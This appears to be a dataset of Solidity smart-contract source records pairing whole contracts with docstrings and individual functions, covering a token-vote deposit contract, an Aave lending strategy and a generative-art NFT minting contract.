uint32 votes = math.min(_requestedVotes, uint32(deposit.amount / deposit.valuePerVote));
uint64 value = uint64(deposit.valuePerVote * votes);
if (deposit.tokenId == _crystalsID) {
_ownerAddress.transfer(value, false, 0);
// } else if (deposit.tokenId == _depoolID) {
// // user can reclaim only all depool stake at once.
// if (value >= deposit.amount) {
// // address depool = address.makeAddrStd(0, deposit.depool);
// // IDePool(depool).transferStake{value: 0.5 ton, flag: 1}
// // (deposit.returnTo, deposit.amount);
// } else {
// (votes, value) = (0, 0);
// }
} else {
TipAccount acc = tokenAccounts[address.makeAddrStd(0, deposit.tokenId)];
ITokenWallet(acc.addr).transfer{value: 0.1 ton + 0.1 ton}
(deposit.returnTo, value, false, acc.addr);
}
deposit.amount -= math.min(value, deposit.amount);
if (deposit.amount == 0) {
delete deposits[createdAt];
} else {
deposits[createdAt] = deposit;
}
_requestedVotes -= math.min(votes, _requestedVotes);
}
depo = deposits.prev(createdAt);
}
_totalVotes -= origVotes - _requestedVotes;
}
function _genId() private pure inline returns (uint32) {
return uint32(now);
}
/* Receiving interface */
/// @notice Plain receiving of tons.
receive() external {
}
/// @notice Accept income messages.
fallback() external {
}
/// @notice Plain transfer of tons.
function transferFunds(address to, uint128 val) external pure onlyOwner {
to.transfer(val, true, 1);
}
/*
* Public Deposits API
*/
/// @notice Allows to deposit tip3 tokens
/// @param returnTo - address to which return tokens in case of reclaim request.
/// @param tokenId - ID of deposited tip3 token (it is a std addr of TokenRoot smc).
/// @param tokens - Number of tokens to deposit.
function depositTokens(
address returnTo,
uint256 tokenId,
uint64 tokens
) external onlyOwner {
uint32 createdAt = _genId();
require(!deposits.exists(createdAt), ERROR_DEPOSIT_WITH_SUCH_ID_EXISTS);
require(_pendingDepositId == 0, ERROR_PENDING_DEPOSIT_ALREADY_EXISTS);
require(msg.value >= DEPOSIT_TOKENS_FEE, ERROR_MSG_VALUE_TOO_LOW);
optional(TipAccount) opt = tokenAccounts.fetch(address.makeAddrStd(0, tokenId));
require(opt.hasValue(), ERROR_ACCOUNT_DOES_NOT_EXIST);
TipAccount acc = opt.get();
_pendingDepositId = createdAt;
ITokenWallet(acc.addr).getBalance_InternalOwner{value: 0, flag: 64, bounce: true}
(tvm.functionId(onGetBalance));
deposits[createdAt] = Deposit(tokenId, returnTo, tokens, 0, false, 0);
}
/*
* Private deposit functions
*/
function _convertDepositToVotes(uint32 queryId, uint64 price) private inline {
optional(Deposit) opt = deposits.fetch(queryId);
require(opt.hasValue(), ERROR_DEPOSIT_NOT_FOUND);
Deposit depo = opt.get();
deposits[queryId].valuePerVote = price;
_totalVotes += uint32(depo.amount / price);
}
function _findTokenAccount(address addr) private view inline returns (optional(address, TipAccount)) {
optional(address, TipAccount) account = tokenAccounts.min();
while (account.hasValue()) {
(address root, TipAccount acc) = account.get();
if (acc.addr == addr) {
return account;
}
account = tokenAccounts.next(root);
}
return account;
}
function onGetBalance(uint128 balance) public contractOnly {
optional(address, TipAccount) account = _findTokenAccount(msg.sender);
require(account.hasValue(), ERROR_ACCOUNT_DOES_NOT_EXIST);
require(_pendingDepositId != 0);
(address root, TipAccount acc) = account.get();
uint128 prevBalance = acc.balance;
tokenAccounts[root].balance = balance;
optional(Deposit) opt = deposits.fetch(_pendingDepositId);
require(opt.hasValue(), ERROR_DEPOSIT_NOT_FOUND);
Deposit dep = opt.get();
if (balance >= dep.amount + prevBalance) {
deposits[_pendingDepositId].approved = true;
_convertDepositToVotes(_pendingDepositId, 1);
// _ownerAddress.transfer(0, false, 64);
} else {
delete deposits[_pendingDepositId];
}
_pendingDepositId = 0;
}
/*
* Token Account Collection
*/
function onTokenWalletDeploy(address ownerAddress) public {
optional(TipAccount) opt = tokenAccounts.fetch(msg.sender);
require(opt.hasValue(), ERROR_INVALID_ROOT_CALLER);
TipAccount acc = opt.get();
acc.addr = ownerAddress;
tokenAccounts[msg.sender] = acc;
_ownerAddress.transfer(0, false, 64);
}
function _createTokenAccount() private {
uint256 owner = address(this).value;
tokenAccounts[_tokenRoot] = TipAccount(address(0), owner, uint32(now), 0);
ITokenRoot(_tokenRoot).deployEmptyWallet{value: 2 ton, flag: 1, bounce: true}
(tvm.functionId(onTokenWalletDeploy), 0, 0, owner, 1 ton);
}
/*
* Get Methods
*/
function getDeposits() public view returns (mapping (uint32 => Deposit) allDeposits) {
allDeposits = deposits;
}
function getTokenAccounts() external view returns (mapping (address => TipAccount) allAccounts) {
allAccounts = tokenAccounts;
}
function getVoteInfo() external view returns (uint32 reqVotes, uint32 totalVotes, uint32 lockedVotes) {
reqVotes = _requestedVotes;
totalVotes = _totalVotes;
lockedVotes = _lockedVotes;
}
function getAddresses() public view returns (address ownerAddress) {
ownerAddress = _ownerAddress;
}
function getActiveProposals() public view returns (mapping(address => uint32) activeProposals) {
activeProposals = _activeProposals;
}
}
|
Allows user to vote for proposal.
|
function voteFor(address proposal, bool choice, uint32 votes) external onlyOwner {
optional(uint32) opt = _activeProposals.fetch(proposal);
uint32 proposalVotes = opt.hasValue() ? opt.get() : 0;
uint32 availableVotes = _totalVotes - proposalVotes;
require(votes <= availableVotes, ERROR_NOT_ENOUGH_VOTES);
if (!opt.hasValue()) {
_activeProposals[proposal] = 0;
}
}
| 950,619 |
// SPDX-License-Identifier: WTFPL
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IStrategy.sol";
import "../SodaMaster.sol";
interface UniswapRouter {
function swapExactTokensForTokens(uint, uint, address[] calldata, address, uint) external;
}
interface ILendingPool {
function deposit(address _reserve, uint256 _amount, uint16 _referralCode) external payable;
function core() external returns(address);
}
interface IAToken {
function redeem(uint256 _amount) external;
function balanceOf(address _user) external view returns(uint256);
function principalBalanceOf(address _user) external view returns(uint256);
}
// This contract is owned by Timelock.
// What it does is simple: deposit usdc to ForTube, and wait for SodaPool's command.
contract UseAAve is IStrategy, Ownable {
using SafeMath for uint256;
uint256 constant PER_SHARE_SIZE = 1e12;
SodaMaster public sodaMaster;
ILendingPool public lendingPool;
struct PoolInfo {
IERC20 token;
IAToken aToken;
uint256 balance;
}
mapping(address => PoolInfo) public poolMap; // By vault.
mapping(address => uint256) private valuePerShare; // By vault.
constructor(SodaMaster _sodaMaster,
ILendingPool _lendingPool) public {
sodaMaster = _sodaMaster;
lendingPool = _lendingPool;
}
function approve(IERC20 _token) external onlyOwner {
_token.approve(sodaMaster.pool(), type(uint256).max);
_token.approve(lendingPool.core(), type(uint256).max);
}
function setPoolInfo(
address _vault,
IERC20 _token,
IAToken _aToken
) external onlyOwner {
poolMap[_vault].token = _token;
poolMap[_vault].aToken = _aToken;
_token.approve(sodaMaster.pool(), type(uint256).max);
_token.approve(lendingPool.core(), type(uint256).max);
}
function getValuePerShare(address _vault) external view override returns(uint256) {
return valuePerShare[_vault];
}
function pendingValuePerShare(address _vault) external view override returns (uint256) {
uint256 shareAmount = IERC20(_vault).totalSupply();
if (shareAmount == 0) {
return 0;
}
uint256 amount = poolMap[_vault].aToken.balanceOf(address(this)).sub(poolMap[_vault].balance);
return amount.mul(PER_SHARE_SIZE).div(shareAmount);
}
function _update(address _vault, uint256 _tokenAmountDelta) internal {
uint256 shareAmount = IERC20(_vault).totalSupply();
if (shareAmount > 0) {
valuePerShare[_vault] = valuePerShare[_vault].add(
_tokenAmountDelta.mul(PER_SHARE_SIZE).div(shareAmount));
}
}
/**
* @dev See {IStrategy-deposit}.
*/
function deposit(address _vault, uint256 _amount) public override {
require(sodaMaster.isVault(msg.sender), "sender not vault");
uint256 tokenAmountBefore = poolMap[_vault].balance;
lendingPool.deposit(address(poolMap[_vault].token), _amount, 0);
uint256 tokenAmountAfter = poolMap[_vault].aToken.balanceOf(address(this));
poolMap[_vault].balance = tokenAmountAfter;
_update(_vault, tokenAmountAfter.sub(tokenAmountBefore).sub(_amount));
}
/**
* @dev See {IStrategy-claim}.
*/
function claim(address _vault) external override {
require(sodaMaster.isVault(msg.sender), "sender not vault");
uint256 tokenAmountBefore = poolMap[_vault].balance;
uint256 tokenAmountAfter = poolMap[_vault].aToken.balanceOf(address(this));
poolMap[_vault].balance = tokenAmountAfter;
_update(_vault, tokenAmountAfter.sub(tokenAmountBefore));
}
/**
* @dev See {IStrategy-withdraw}.
*/
function withdraw(address _vault, uint256 _amount) external override {
require(sodaMaster.isVault(msg.sender), "sender not vault");
uint256 tokenAmountBefore = poolMap[_vault].balance;
poolMap[_vault].aToken.redeem(_amount);
uint256 tokenAmountAfter = poolMap[_vault].aToken.balanceOf(address(this));
poolMap[_vault].balance = tokenAmountAfter;
_update(_vault, tokenAmountAfter.sub(tokenAmountBefore.sub(_amount)));
}
/**
* @dev See {IStrategy-getTargetToken}.
*/
function getTargetToken(address _vault) external view override returns(address) {
return address(poolMap[_vault].token);
}
}
|
See {IStrategy-claim}./
|
function claim(address _vault) external override {
require(sodaMaster.isVault(msg.sender), "sender not vault");
uint256 tokenAmountBefore = poolMap[_vault].balance;
uint256 tokenAmountAfter = poolMap[_vault].aToken.balanceOf(address(this));
poolMap[_vault].balance = tokenAmountAfter;
_update(_vault, tokenAmountAfter.sub(tokenAmountBefore));
}
| 1,782,646 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./utils/Counters.sol";
import "./IGenArt.sol";
import "./IGenArtInterface.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract GenArtCollectionDrop is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable,
Ownable
{
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
using SafeMath for uint256;
struct CollectionGroup {
uint256 tier;
uint256 price;
uint256 priceGen;
uint256[] collections;
}
struct Collection {
uint256 group;
uint256 invocations;
uint256 maxInvocations;
string script;
uint256 artistPercentage;
address artist;
}
event Mint(address to, uint256 collectionId, uint256 tokenId, bytes32 hash);
mapping(uint256 => Collection) private _collectionsMap;
mapping(uint256 => CollectionGroup) private _collectionGroupsMap;
// Mapping collectionId to membershipId and total mints
mapping(uint256 => mapping(uint256 => uint256)) private _collectionsMintMap;
mapping(uint256 => bytes32) private _tokenIdToHashMap;
mapping(uint256 => uint256) private _tokenIdToCollectionIdMap;
Counters.Counter private _collectionIdCounter;
IGenArtInterface private _genArtInterface;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Base URI
string private _baseURI;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(
string memory name_,
string memory symbol_,
string memory uri_,
address genArtInterfaceAddress_
) {
_name = name_;
_symbol = symbol_;
_baseURI = uri_;
_genArtInterface = IGenArtInterface(genArtInterfaceAddress_);
_collectionIdCounter.reset();
}
modifier onlyArtist(uint256 _collectionId) {
require(
_collectionsMap[_collectionId].artist == _msgSender(),
"GenArtCollectionDrop: only artist can call this function"
);
_;
}
function withdraw(uint256 value) public onlyOwner {
address _owner = owner();
payable(_owner).transfer(value);
}
function createGenCollectionGroup(
uint256 _groupId,
uint256 _tier,
uint256 _price,
uint256 _priceGen
) public onlyOwner {
uint256[] memory _collections;
_collectionGroupsMap[_groupId] = CollectionGroup({
tier: _tier,
price: _price,
priceGen: _priceGen,
collections: _collections
});
}
function createGenCollection(
address _artist,
uint256 _artistPercentage,
uint256 _maxInvocations,
uint256 _groupId,
string memory _script
) public onlyOwner {
uint256 _collectionId = _collectionIdCounter.current();
_collectionsMap[_collectionId] = Collection({
group: _groupId,
invocations: 0,
maxInvocations: _maxInvocations,
script: _script,
artistPercentage: _artistPercentage,
artist: _artist
});
_collectionGroupsMap[_groupId].collections.push(_collectionId);
_collectionIdCounter.increment();
}
function checkMint(
address _sender,
uint256 _groupId,
uint256 _membershipId,
uint256 _amount
) internal view returns (uint256[] memory) {
require(
_collectionGroupsMap[_groupId].tier != 0,
"GenArtCollectionDrop: incorrect collection id"
);
uint256 counter;
uint256[] memory collectionIds = new uint256[](10);
uint256 remainingInvocations;
for (
uint256 i = 0;
i < _collectionGroupsMap[_groupId].collections.length;
i++
) {
uint256 invocations = _collectionsMap[
_collectionGroupsMap[_groupId].collections[i]
].maxInvocations -
_collectionsMap[_collectionGroupsMap[_groupId].collections[i]]
.invocations;
if (invocations > 0) {
collectionIds[counter] = _collectionGroupsMap[_groupId]
.collections[i];
counter++;
}
remainingInvocations += invocations;
}
uint256[] memory slicedCollectionIds = new uint256[](counter);
for (uint256 j = 0; j < slicedCollectionIds.length; j++) {
slicedCollectionIds[j] = collectionIds[j];
}
require(
collectionIds.length > 0 && remainingInvocations >= _amount,
"GenArtCollectionDrop: max invocations reached"
);
address _membershipOwner = _genArtInterface.ownerOf(_membershipId);
require(
_membershipOwner == _sender,
"GenArtCollectionDrop: sender must be membership owner"
);
bool _isGoldMember = _genArtInterface.isGoldToken(_membershipId);
uint256 _tier = _isGoldMember ? 2 : 1;
require(
_collectionGroupsMap[_groupId].tier == 3 ||
_collectionGroupsMap[_groupId].tier == _tier,
"GenArtCollectionDrop: no valid membership"
);
uint256 maxMint = getAllowedMintForMembership(_groupId, _membershipId);
require(
maxMint >= _amount,
"GenArtCollectionDrop: no mints avaliable"
);
return slicedCollectionIds;
}
function checkFunds(
uint256 _groupId,
uint256 _value,
uint256 _amount,
bool _isEthPayment
) internal view {
if (_isEthPayment) {
require(
_collectionGroupsMap[_groupId].price.mul(_amount) <= _value,
"GenArtCollectionDrop: incorrect amount sent"
);
} else {
require(
_collectionGroupsMap[_groupId].priceGen.mul(_amount) <= _value,
"GenArtCollectionDrop: insufficient $GEN balance"
);
}
}
function mint(
address _to,
uint256 _groupId,
uint256 _membershipId
) public payable {
uint256[] memory collectionIds = checkMint(
msg.sender,
_groupId,
_membershipId,
1
);
checkFunds(_groupId, msg.value, 1, true);
updateMintState(_groupId, _membershipId, 1);
uint256 _collectionId = _mintOne(_to, collectionIds);
splitFunds(msg.sender, _groupId, _collectionId, 1, true);
}
function mintGen(
address _to,
uint256 _groupId,
uint256 _membershipId
) public {
bool _genAllowed = _genArtInterface.genAllowed();
require(
_genAllowed,
"GenArtCollectionDrop: Mint with $GENART not allowed"
);
uint256 balance = _genArtInterface.balanceOf(msg.sender);
uint256[] memory collectionIds = checkMint(
msg.sender,
_groupId,
_membershipId,
1
);
checkFunds(_groupId, balance, 1, false);
updateMintState(_groupId, _membershipId, 1);
uint256 _collectionId = _mintOne(_to, collectionIds);
splitFunds(msg.sender, _groupId, _collectionId, 1, false);
}
function mintMany(
address _to,
uint256 _groupId,
uint256 _membershipId,
uint256 _amount
) public payable {
checkFunds(_groupId, msg.value, _amount, true);
for (uint256 i = 0; i < _amount; i++) {
mint(_to, _groupId, _membershipId);
}
}
function mintManyGen(
address _to,
uint256 _groupId,
uint256 _membershipId,
uint256 _amount
) public {
bool _genAllowed = _genArtInterface.genAllowed();
require(
_genAllowed,
"GenArtCollectionDrop: Mint with $GENART not allowed"
);
uint256 balance = _genArtInterface.balanceOf(msg.sender);
checkFunds(_groupId, balance, _amount, false);
for (uint256 i = 0; i < _amount; i++) {
mintGen(_to, _groupId, _membershipId);
}
}
function _mintOne(address _to, uint256[] memory _collectionIds)
internal
virtual
returns (uint256)
{
uint256 _collectionId = _genArtInterface.getRandomChoise(
_collectionIds
);
_genArtInterface.updateNonce();
uint256 invocation = _collectionsMap[_collectionId].invocations + 1;
uint256 _tokenId = _collectionId * 100_000 + invocation;
_collectionsMap[_collectionId].invocations = invocation;
bytes32 hash = keccak256(
abi.encodePacked(invocation, block.number, block.timestamp, _to)
);
_tokenIdToHashMap[_tokenId] = hash;
_tokenIdToCollectionIdMap[_tokenId] = _collectionId;
_safeMint(_to, _tokenId);
emit Mint(_to, _collectionId, _tokenId, hash);
return _collectionId;
}
function splitFunds(
address _sender,
uint256 _groupId,
uint256 _collectionId,
uint256 _amount,
bool _isEthPayment
) internal virtual {
uint256 value = _isEthPayment
? _collectionGroupsMap[_groupId].price.mul(_amount)
: _collectionGroupsMap[_groupId].priceGen.mul(_amount);
address _owner = owner();
uint256 artistReward = (value *
_collectionsMap[_collectionId].artistPercentage) / 100;
if (_isEthPayment) {
payable(_collectionsMap[_collectionId].artist).transfer(
artistReward
);
} else {
_genArtInterface.transferFrom(
_sender,
_owner,
value - artistReward
);
_genArtInterface.transferFrom(
_sender,
_collectionsMap[_collectionId].artist,
artistReward
);
}
}
function burn(uint256 _tokenId) public {
_burn(_tokenId);
}
function getAllowedMintForMembership(uint256 _group, uint256 _membershipId)
public
view
returns (uint256)
{
uint256 maxMint = _genArtInterface.getMaxMintForMembership(
_membershipId
);
return maxMint - _collectionsMintMap[_group][_membershipId];
}
function updateMintState(
uint256 _group,
uint256 _membershipId,
uint256 _amount
) internal virtual {
_collectionsMintMap[_group][_membershipId] =
_collectionsMintMap[_group][_membershipId] +
_amount;
}
function updateArtistAddress(uint256 _collectionId, address _artist)
public
onlyArtist(_collectionId)
{
_collectionsMap[_collectionId].artist = _artist;
}
function updateScript(uint256 _collectionId, string memory _script)
public
onlyOwner
{
_collectionsMap[_collectionId].script = _script;
}
function upgradeGenArtInterfaceContract(address _genArtInterfaceAddress)
public
onlyOwner
{
_genArtInterface = IGenArtInterface(_genArtInterfaceAddress);
}
function updatePrice(
uint256 _groupId,
uint256 _price,
uint256 _priceGen
) public onlyOwner {
_collectionGroupsMap[_groupId].price = _price;
_collectionGroupsMap[_groupId].priceGen = _priceGen;
}
function getTokensByOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 tokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](tokenCount);
for (uint256 i; i < tokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
address owner = _owners[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI_ = baseURI();
return
bytes(baseURI_).length > 0
? string(abi.encodePacked(baseURI_, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function baseURI() internal view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function setBaseURI(string memory baseURI_) public onlyOwner {
_baseURI = baseURI_;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = GenArtCollectionDrop.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = GenArtCollectionDrop.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = GenArtCollectionDrop.ownerOf(tokenId);
require(
_msgSender() == owner,
"GenArtCollectionDrop: only token owner can burn"
);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
GenArtCollectionDrop.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(GenArtCollectionDrop.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
virtual
override
returns (uint256)
{
require(
index < GenArtCollectionDrop.balanceOf(owner),
"ERC721Enumerable: owner index out of bounds"
);
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index)
public
view
virtual
override
returns (uint256)
{
require(
index < GenArtCollectionDrop.totalSupply(),
"ERC721Enumerable: global index out of bounds"
);
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = GenArtCollectionDrop.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
